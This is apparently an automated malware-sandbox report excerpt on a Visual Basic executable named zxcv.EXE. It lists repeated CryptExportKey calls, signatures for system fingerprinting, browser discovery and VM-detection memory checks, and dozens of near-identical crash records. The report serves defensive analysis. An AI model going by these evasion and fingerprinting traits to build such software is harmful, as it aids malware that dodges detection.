CryptExportKey July 19, 2021, 10:32 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0058a6a8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 19, 2021, 10:32 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0058a6a8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 19, 2021, 10:32 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0058a6a8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 19, 2021, 10:32 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0058a728 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 19, 2021, 10:32 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0058a728 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 19, 2021, 10:32 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0058a728 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 19, 2021, 10:32 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0058a728 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 19, 2021, 10:32 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0058a728 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 19, 2021, 10:32 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0058a728 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 19, 2021, 10:32 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0058a728 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 19, 2021, 10:32 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0058a728 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1

Collects information to fingerprint the system (MachineGuid, DigitalProductId, SystemBiosDate) (1 event)

registry

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\MachineGuid

Tries to locate where the browsers are installed (1 event)

registry

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx July 19, 2021, 10:32 a.m.		1	1	0

One or more processes crashed (50 out of 2596 events)

Time & API	Arguments	Status
__exception__ July 19, 2021, 10:31 a.m.	stacktrace: EbLoadRunTime+0x1166 DllFunctionCall-0xb5 msvbvm60+0xa048 @ 0x7294a048 BASIC_CLASS_QueryInterface+0xeca EbLoadRunTime-0x13a4 msvbvm60+0x7b3e @ 0x72947b3e ThunRTMain+0x3dd EbCreateContext-0x2e36 msvbvm60+0x3981 @ 0x72943981 ThunRTMain+0x156 EbCreateContext-0x30bd msvbvm60+0x36fa @ 0x729436fa ThunRTMain+0x5c EbCreateContext-0x31b7 msvbvm60+0x3600 @ 0x72943600 zxcv+0x241e @ 0x40241e RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77799ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77799ea5 exception.instruction_r: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 exception.symbol: zxcv+0x18fd exception.instruction: add byte ptr [eax], al exception.module: zxcv.EXE exception.exception_code: 0xc0000005 exception.offset: 6397 exception.address: 0x4018fd registers.esp: 1637384 registers.edi: 0 registers.eax: 0 registers.ebp: 1637724 registers.edx: 1923237542 registers.ebx: 0 registers.esi: 41682900 registers.ecx: 0	1
__exception__ July 19, 2021, 10:31 a.m.	stacktrace: EbLoadRunTime+0x1166 DllFunctionCall-0xb5 msvbvm60+0xa048 @ 0x7294a048 BASIC_CLASS_QueryInterface+0xeca EbLoadRunTime-0x13a4 msvbvm60+0x7b3e @ 0x72947b3e ThunRTMain+0x3dd EbCreateContext-0x2e36 msvbvm60+0x3981 @ 0x72943981 ThunRTMain+0x156 EbCreateContext-0x30bd msvbvm60+0x36fa @ 0x729436fa ThunRTMain+0x5c EbCreateContext-0x31b7 msvbvm60+0x3600 @ 0x72943600 zxcv+0x241e @ 0x40241e RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77799ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77799ea5 exception.instruction_r: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 exception.symbol: zxcv+0x18fe exception.instruction: add byte ptr [eax], al exception.module: zxcv.EXE exception.exception_code: 0xc0000005 exception.offset: 6398 exception.address: 0x4018fe registers.esp: 1637384 registers.edi: 0 registers.eax: 0 registers.ebp: 1637724 registers.edx: 1923237542 registers.ebx: 0 registers.esi: 41682900 registers.ecx: 0	1
__exception__ July 19, 2021, 10:31 a.m.	stacktrace: EbLoadRunTime+0x1166 DllFunctionCall-0xb5 msvbvm60+0xa048 @ 0x7294a048 BASIC_CLASS_QueryInterface+0xeca EbLoadRunTime-0x13a4 msvbvm60+0x7b3e @ 0x72947b3e ThunRTMain+0x3dd EbCreateContext-0x2e36 msvbvm60+0x3981 @ 0x72943981 ThunRTMain+0x156 EbCreateContext-0x30bd msvbvm60+0x36fa @ 0x729436fa ThunRTMain+0x5c EbCreateContext-0x31b7 msvbvm60+0x3600 @ 0x72943600 zxcv+0x241e @ 0x40241e RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77799ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77799ea5 exception.instruction_r: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 exception.symbol: zxcv+0x18ff exception.instruction: add byte ptr [eax], al exception.module: zxcv.EXE exception.exception_code: 0xc0000005 exception.offset: 6399 exception.address: 0x4018ff registers.esp: 1637384 registers.edi: 0 registers.eax: 0 registers.ebp: 1637724 registers.edx: 1923237542 registers.ebx: 0 registers.esi: 41682900 registers.ecx: 0	1
__exception__ July 19, 2021, 10:31 a.m.	stacktrace: EbLoadRunTime+0x1166 DllFunctionCall-0xb5 msvbvm60+0xa048 @ 0x7294a048 BASIC_CLASS_QueryInterface+0xeca EbLoadRunTime-0x13a4 msvbvm60+0x7b3e @ 0x72947b3e ThunRTMain+0x3dd EbCreateContext-0x2e36 msvbvm60+0x3981 @ 0x72943981 ThunRTMain+0x156 EbCreateContext-0x30bd msvbvm60+0x36fa @ 0x729436fa ThunRTMain+0x5c EbCreateContext-0x31b7 msvbvm60+0x3600 @ 0x72943600 zxcv+0x241e @ 0x40241e RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77799ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77799ea5 exception.instruction_r: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 exception.symbol: zxcv+0x1900 exception.instruction: add byte ptr [eax], al exception.module: zxcv.EXE exception.exception_code: 0xc0000005 exception.offset: 6400 exception.address: 0x401900 registers.esp: 1637384 registers.edi: 0 registers.eax: 0 registers.ebp: 1637724 registers.edx: 1923237542 registers.ebx: 0 registers.esi: 41682900 registers.ecx: 0	1
__exception__ July 19, 2021, 10:31 a.m.	stacktrace: EbLoadRunTime+0x1166 DllFunctionCall-0xb5 msvbvm60+0xa048 @ 0x7294a048 BASIC_CLASS_QueryInterface+0xeca EbLoadRunTime-0x13a4 msvbvm60+0x7b3e @ 0x72947b3e ThunRTMain+0x3dd EbCreateContext-0x2e36 msvbvm60+0x3981 @ 0x72943981 ThunRTMain+0x156 EbCreateContext-0x30bd msvbvm60+0x36fa @ 0x729436fa ThunRTMain+0x5c EbCreateContext-0x31b7 msvbvm60+0x3600 @ 0x72943600 zxcv+0x241e @ 0x40241e RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77799ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77799ea5 exception.instruction_r: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 exception.symbol: zxcv+0x1901 exception.instruction: add byte ptr [eax], al exception.module: zxcv.EXE exception.exception_code: 0xc0000005 exception.offset: 6401 exception.address: 0x401901 registers.esp: 1637384 registers.edi: 0 registers.eax: 0 registers.ebp: 1637724 registers.edx: 1923237542 registers.ebx: 0 registers.esi: 41682900 registers.ecx: 0	1
__exception__ July 19, 2021, 10:31 a.m.	stacktrace: EbLoadRunTime+0x1166 DllFunctionCall-0xb5 msvbvm60+0xa048 @ 0x7294a048 BASIC_CLASS_QueryInterface+0xeca EbLoadRunTime-0x13a4 msvbvm60+0x7b3e @ 0x72947b3e ThunRTMain+0x3dd EbCreateContext-0x2e36 msvbvm60+0x3981 @ 0x72943981 ThunRTMain+0x156 EbCreateContext-0x30bd msvbvm60+0x36fa @ 0x729436fa ThunRTMain+0x5c EbCreateContext-0x31b7 msvbvm60+0x3600 @ 0x72943600 zxcv+0x241e @ 0x40241e RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77799ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77799ea5 exception.instruction_r: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 exception.symbol: zxcv+0x1902 exception.instruction: add byte ptr [eax], al exception.module: zxcv.EXE exception.exception_code: 0xc0000005 exception.offset: 6402 exception.address: 0x401902 registers.esp: 1637384 registers.edi: 0 registers.eax: 0 registers.ebp: 1637724 registers.edx: 1923237542 registers.ebx: 0 registers.esi: 41682900 registers.ecx: 0	1
__exception__ July 19, 2021, 10:31 a.m.	stacktrace: EbLoadRunTime+0x1166 DllFunctionCall-0xb5 msvbvm60+0xa048 @ 0x7294a048 BASIC_CLASS_QueryInterface+0xeca EbLoadRunTime-0x13a4 msvbvm60+0x7b3e @ 0x72947b3e ThunRTMain+0x3dd EbCreateContext-0x2e36 msvbvm60+0x3981 @ 0x72943981 ThunRTMain+0x156 EbCreateContext-0x30bd msvbvm60+0x36fa @ 0x729436fa ThunRTMain+0x5c EbCreateContext-0x31b7 msvbvm60+0x3600 @ 0x72943600 zxcv+0x241e @ 0x40241e RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77799ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77799ea5 exception.instruction_r: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 exception.symbol: zxcv+0x1903 exception.instruction: add byte ptr [eax], al exception.module: zxcv.EXE exception.exception_code: 0xc0000005 exception.offset: 6403 exception.address: 0x401903 registers.esp: 1637384 registers.edi: 0 registers.eax: 0 registers.ebp: 1637724 registers.edx: 1923237542 registers.ebx: 0 registers.esi: 41682900 registers.ecx: 0	1
__exception__ July 19, 2021, 10:31 a.m.	stacktrace: EbLoadRunTime+0x1166 DllFunctionCall-0xb5 msvbvm60+0xa048 @ 0x7294a048 BASIC_CLASS_QueryInterface+0xeca EbLoadRunTime-0x13a4 msvbvm60+0x7b3e @ 0x72947b3e ThunRTMain+0x3dd EbCreateContext-0x2e36 msvbvm60+0x3981 @ 0x72943981 ThunRTMain+0x156 EbCreateContext-0x30bd msvbvm60+0x36fa @ 0x729436fa ThunRTMain+0x5c EbCreateContext-0x31b7 msvbvm60+0x3600 @ 0x72943600 zxcv+0x241e @ 0x40241e RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77799ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77799ea5 exception.instruction_r: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 exception.symbol: zxcv+0x1904 exception.instruction: add byte ptr [eax], al exception.module: zxcv.EXE exception.exception_code: 0xc0000005 exception.offset: 6404 exception.address: 0x401904 registers.esp: 1637384 registers.edi: 0 registers.eax: 0 registers.ebp: 1637724 registers.edx: 1923237542 registers.ebx: 0 registers.esi: 41682900 registers.ecx: 0	1
__exception__ July 19, 2021, 10:31 a.m.	stacktrace: EbLoadRunTime+0x1166 DllFunctionCall-0xb5 msvbvm60+0xa048 @ 0x7294a048 BASIC_CLASS_QueryInterface+0xeca EbLoadRunTime-0x13a4 msvbvm60+0x7b3e @ 0x72947b3e ThunRTMain+0x3dd EbCreateContext-0x2e36 msvbvm60+0x3981 @ 0x72943981 ThunRTMain+0x156 EbCreateContext-0x30bd msvbvm60+0x36fa @ 0x729436fa ThunRTMain+0x5c EbCreateContext-0x31b7 msvbvm60+0x3600 @ 0x72943600 zxcv+0x241e @ 0x40241e RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77799ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77799ea5 exception.instruction_r: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 exception.symbol: zxcv+0x1905 exception.instruction: add byte ptr [eax], al exception.module: zxcv.EXE exception.exception_code: 0xc0000005 exception.offset: 6405 exception.address: 0x401905 registers.esp: 1637384 registers.edi: 0 registers.eax: 0 registers.ebp: 1637724 registers.edx: 1923237542 registers.ebx: 0 registers.esi: 41682900 registers.ecx: 0	1
__exception__ July 19, 2021, 10:31 a.m.	stacktrace: EbLoadRunTime+0x1166 DllFunctionCall-0xb5 msvbvm60+0xa048 @ 0x7294a048 BASIC_CLASS_QueryInterface+0xeca EbLoadRunTime-0x13a4 msvbvm60+0x7b3e @ 0x72947b3e ThunRTMain+0x3dd EbCreateContext-0x2e36 msvbvm60+0x3981 @ 0x72943981 ThunRTMain+0x156 EbCreateContext-0x30bd msvbvm60+0x36fa @ 0x729436fa ThunRTMain+0x5c EbCreateContext-0x31b7 msvbvm60+0x3600 @ 0x72943600 zxcv+0x241e @ 0x40241e RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77799ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77799ea5 exception.instruction_r: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 exception.symbol: zxcv+0x1906 exception.instruction: add byte ptr [eax], al exception.module: zxcv.EXE exception.exception_code: 0xc0000005 exception.offset: 6406 exception.address: 0x401906 registers.esp: 1637384 registers.edi: 0 registers.eax: 0 registers.ebp: 1637724 registers.edx: 1923237542 registers.ebx: 0 registers.esi: 41682900 registers.ecx: 0	1
__exception__ July 19, 2021, 10:31 a.m.	stacktrace: EbLoadRunTime+0x1166 DllFunctionCall-0xb5 msvbvm60+0xa048 @ 0x7294a048 BASIC_CLASS_QueryInterface+0xeca EbLoadRunTime-0x13a4 msvbvm60+0x7b3e @ 0x72947b3e ThunRTMain+0x3dd EbCreateContext-0x2e36 msvbvm60+0x3981 @ 0x72943981 ThunRTMain+0x156 EbCreateContext-0x30bd msvbvm60+0x36fa @ 0x729436fa ThunRTMain+0x5c EbCreateContext-0x31b7 msvbvm60+0x3600 @ 0x72943600 zxcv+0x241e @ 0x40241e RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77799ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77799ea5 exception.instruction_r: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 exception.symbol: zxcv+0x1907 exception.instruction: add byte ptr [eax], al exception.module: zxcv.EXE exception.exception_code: 0xc0000005 exception.offset: 6407 exception.address: 0x401907 registers.esp: 1637384 registers.edi: 0 registers.eax: 0 registers.ebp: 1637724 registers.edx: 1923237542 registers.ebx: 0 registers.esi: 41682900 registers.ecx: 0	1
__exception__ July 19, 2021, 10:31 a.m.	stacktrace: EbLoadRunTime+0x1166 DllFunctionCall-0xb5 msvbvm60+0xa048 @ 0x7294a048 BASIC_CLASS_QueryInterface+0xeca EbLoadRunTime-0x13a4 msvbvm60+0x7b3e @ 0x72947b3e ThunRTMain+0x3dd EbCreateContext-0x2e36 msvbvm60+0x3981 @ 0x72943981 ThunRTMain+0x156 EbCreateContext-0x30bd msvbvm60+0x36fa @ 0x729436fa ThunRTMain+0x5c EbCreateContext-0x31b7 msvbvm60+0x3600 @ 0x72943600 zxcv+0x241e @ 0x40241e RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77799ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77799ea5 exception.instruction_r: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 exception.symbol: zxcv+0x1908 exception.instruction: add byte ptr [eax], al exception.module: zxcv.EXE exception.exception_code: 0xc0000005 exception.offset: 6408 exception.address: 0x401908 registers.esp: 1637384 registers.edi: 0 registers.eax: 0 registers.ebp: 1637724 registers.edx: 1923237542 registers.ebx: 0 registers.esi: 41682900 registers.ecx: 0	1
__exception__ July 19, 2021, 10:31 a.m.	stacktrace: EbLoadRunTime+0x1166 DllFunctionCall-0xb5 msvbvm60+0xa048 @ 0x7294a048 BASIC_CLASS_QueryInterface+0xeca EbLoadRunTime-0x13a4 msvbvm60+0x7b3e @ 0x72947b3e ThunRTMain+0x3dd EbCreateContext-0x2e36 msvbvm60+0x3981 @ 0x72943981 ThunRTMain+0x156 EbCreateContext-0x30bd msvbvm60+0x36fa @ 0x729436fa ThunRTMain+0x5c EbCreateContext-0x31b7 msvbvm60+0x3600 @ 0x72943600 zxcv+0x241e @ 0x40241e RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77799ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77799ea5 exception.instruction_r: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 exception.symbol: zxcv+0x1909 exception.instruction: add byte ptr [eax], al exception.module: zxcv.EXE exception.exception_code: 0xc0000005 exception.offset: 6409 exception.address: 0x401909 registers.esp: 1637384 registers.edi: 0 registers.eax: 0 registers.ebp: 1637724 registers.edx: 1923237542 registers.ebx: 0 registers.esi: 41682900 registers.ecx: 0	1
__exception__ July 19, 2021, 10:31 a.m.	stacktrace: EbLoadRunTime+0x1166 DllFunctionCall-0xb5 msvbvm60+0xa048 @ 0x7294a048 BASIC_CLASS_QueryInterface+0xeca EbLoadRunTime-0x13a4 msvbvm60+0x7b3e @ 0x72947b3e ThunRTMain+0x3dd EbCreateContext-0x2e36 msvbvm60+0x3981 @ 0x72943981 ThunRTMain+0x156 EbCreateContext-0x30bd msvbvm60+0x36fa @ 0x729436fa ThunRTMain+0x5c EbCreateContext-0x31b7 msvbvm60+0x3600 @ 0x72943600 zxcv+0x241e @ 0x40241e RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77799ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77799ea5 exception.instruction_r: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 exception.symbol: zxcv+0x190a exception.instruction: add byte ptr [eax], al exception.module: zxcv.EXE exception.exception_code: 0xc0000005 exception.offset: 6410 exception.address: 0x40190a registers.esp: 1637384 registers.edi: 0 registers.eax: 0 registers.ebp: 1637724 registers.edx: 1923237542 registers.ebx: 0 registers.esi: 41682900 registers.ecx: 0	1
__exception__ July 19, 2021, 10:31 a.m.	stacktrace: EbLoadRunTime+0x1166 DllFunctionCall-0xb5 msvbvm60+0xa048 @ 0x7294a048 BASIC_CLASS_QueryInterface+0xeca EbLoadRunTime-0x13a4 msvbvm60+0x7b3e @ 0x72947b3e ThunRTMain+0x3dd EbCreateContext-0x2e36 msvbvm60+0x3981 @ 0x72943981 ThunRTMain+0x156 EbCreateContext-0x30bd msvbvm60+0x36fa @ 0x729436fa ThunRTMain+0x5c EbCreateContext-0x31b7 msvbvm60+0x3600 @ 0x72943600 zxcv+0x241e @ 0x40241e RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77799ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77799ea5 exception.instruction_r: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 exception.symbol: zxcv+0x190b exception.instruction: add byte ptr [eax], al exception.module: zxcv.EXE exception.exception_code: 0xc0000005 exception.offset: 6411 exception.address: 0x40190b registers.esp: 1637384 registers.edi: 0 registers.eax: 0 registers.ebp: 1637724 registers.edx: 1923237542 registers.ebx: 0 registers.esi: 41682900 registers.ecx: 0	1
__exception__ July 19, 2021, 10:31 a.m.	stacktrace: EbLoadRunTime+0x1166 DllFunctionCall-0xb5 msvbvm60+0xa048 @ 0x7294a048 BASIC_CLASS_QueryInterface+0xeca EbLoadRunTime-0x13a4 msvbvm60+0x7b3e @ 0x72947b3e ThunRTMain+0x3dd EbCreateContext-0x2e36 msvbvm60+0x3981 @ 0x72943981 ThunRTMain+0x156 EbCreateContext-0x30bd msvbvm60+0x36fa @ 0x729436fa ThunRTMain+0x5c EbCreateContext-0x31b7 msvbvm60+0x3600 @ 0x72943600 zxcv+0x241e @ 0x40241e RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77799ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77799ea5 exception.instruction_r: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 exception.symbol: zxcv+0x190c exception.instruction: add byte ptr [eax], al exception.module: zxcv.EXE exception.exception_code: 0xc0000005 exception.offset: 6412 exception.address: 0x40190c registers.esp: 1637384 registers.edi: 0 registers.eax: 0 registers.ebp: 1637724 registers.edx: 1923237542 registers.ebx: 0 registers.esi: 41682900 registers.ecx: 0	1
__exception__ July 19, 2021, 10:31 a.m.	stacktrace: EbLoadRunTime+0x1166 DllFunctionCall-0xb5 msvbvm60+0xa048 @ 0x7294a048 BASIC_CLASS_QueryInterface+0xeca EbLoadRunTime-0x13a4 msvbvm60+0x7b3e @ 0x72947b3e ThunRTMain+0x3dd EbCreateContext-0x2e36 msvbvm60+0x3981 @ 0x72943981 ThunRTMain+0x156 EbCreateContext-0x30bd msvbvm60+0x36fa @ 0x729436fa ThunRTMain+0x5c EbCreateContext-0x31b7 msvbvm60+0x3600 @ 0x72943600 zxcv+0x241e @ 0x40241e RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77799ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77799ea5 exception.instruction_r: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 exception.symbol: zxcv+0x190d exception.instruction: add byte ptr [eax], al exception.module: zxcv.EXE exception.exception_code: 0xc0000005 exception.offset: 6413 exception.address: 0x40190d registers.esp: 1637384 registers.edi: 0 registers.eax: 0 registers.ebp: 1637724 registers.edx: 1923237542 registers.ebx: 0 registers.esi: 41682900 registers.ecx: 0	1
__exception__ July 19, 2021, 10:31 a.m.	stacktrace: EbLoadRunTime+0x1166 DllFunctionCall-0xb5 msvbvm60+0xa048 @ 0x7294a048 BASIC_CLASS_QueryInterface+0xeca EbLoadRunTime-0x13a4 msvbvm60+0x7b3e @ 0x72947b3e ThunRTMain+0x3dd EbCreateContext-0x2e36 msvbvm60+0x3981 @ 0x72943981 ThunRTMain+0x156 EbCreateContext-0x30bd msvbvm60+0x36fa @ 0x729436fa ThunRTMain+0x5c EbCreateContext-0x31b7 msvbvm60+0x3600 @ 0x72943600 zxcv+0x241e @ 0x40241e RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77799ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77799ea5 exception.instruction_r: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 exception.symbol: zxcv+0x190e exception.instruction: add byte ptr [eax], al exception.module: zxcv.EXE exception.exception_code: 0xc0000005 exception.offset: 6414 exception.address: 0x40190e registers.esp: 1637384 registers.edi: 0 registers.eax: 0 registers.ebp: 1637724 registers.edx: 1923237542 registers.ebx: 0 registers.esi: 41682900 registers.ecx: 0	1
__exception__ July 19, 2021, 10:31 a.m.	stacktrace: EbLoadRunTime+0x1166 DllFunctionCall-0xb5 msvbvm60+0xa048 @ 0x7294a048 BASIC_CLASS_QueryInterface+0xeca EbLoadRunTime-0x13a4 msvbvm60+0x7b3e @ 0x72947b3e ThunRTMain+0x3dd EbCreateContext-0x2e36 msvbvm60+0x3981 @ 0x72943981 ThunRTMain+0x156 EbCreateContext-0x30bd msvbvm60+0x36fa @ 0x729436fa ThunRTMain+0x5c EbCreateContext-0x31b7 msvbvm60+0x3600 @ 0x72943600 zxcv+0x241e @ 0x40241e RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77799ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77799ea5 exception.instruction_r: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 exception.symbol: zxcv+0x190f exception.instruction: add byte ptr [eax], al exception.module: zxcv.EXE exception.exception_code: 0xc0000005 exception.offset: 6415 exception.address: 0x40190f registers.esp: 1637384 registers.edi: 0 registers.eax: 0 registers.ebp: 1637724 registers.edx: 1923237542 registers.ebx: 0 registers.esi: 41682900 registers.ecx: 0	1
__exception__ July 19, 2021, 10:31 a.m.	stacktrace: EbLoadRunTime+0x1166 DllFunctionCall-0xb5 msvbvm60+0xa048 @ 0x7294a048 BASIC_CLASS_QueryInterface+0xeca EbLoadRunTime-0x13a4 msvbvm60+0x7b3e @ 0x72947b3e ThunRTMain+0x3dd EbCreateContext-0x2e36 msvbvm60+0x3981 @ 0x72943981 ThunRTMain+0x156 EbCreateContext-0x30bd msvbvm60+0x36fa @ 0x729436fa ThunRTMain+0x5c EbCreateContext-0x31b7 msvbvm60+0x3600 @ 0x72943600 zxcv+0x241e @ 0x40241e RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77799ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77799ea5 exception.instruction_r: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 exception.symbol: zxcv+0x1910 exception.instruction: add byte ptr [eax], al exception.module: zxcv.EXE exception.exception_code: 0xc0000005 exception.offset: 6416 exception.address: 0x401910 registers.esp: 1637384 registers.edi: 0 registers.eax: 0 registers.ebp: 1637724 registers.edx: 1923237542 registers.ebx: 0 registers.esi: 41682900 registers.ecx: 0	1
__exception__ July 19, 2021, 10:31 a.m.	stacktrace: EbLoadRunTime+0x1166 DllFunctionCall-0xb5 msvbvm60+0xa048 @ 0x7294a048 BASIC_CLASS_QueryInterface+0xeca EbLoadRunTime-0x13a4 msvbvm60+0x7b3e @ 0x72947b3e ThunRTMain+0x3dd EbCreateContext-0x2e36 msvbvm60+0x3981 @ 0x72943981 ThunRTMain+0x156 EbCreateContext-0x30bd msvbvm60+0x36fa @ 0x729436fa ThunRTMain+0x5c EbCreateContext-0x31b7 msvbvm60+0x3600 @ 0x72943600 zxcv+0x241e @ 0x40241e RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77799ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77799ea5 exception.instruction_r: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 exception.symbol: zxcv+0x1911 exception.instruction: add byte ptr [eax], al exception.module: zxcv.EXE exception.exception_code: 0xc0000005 exception.offset: 6417 exception.address: 0x401911 registers.esp: 1637384 registers.edi: 0 registers.eax: 0 registers.ebp: 1637724 registers.edx: 1923237542 registers.ebx: 0 registers.esi: 41682900 registers.ecx: 0	1
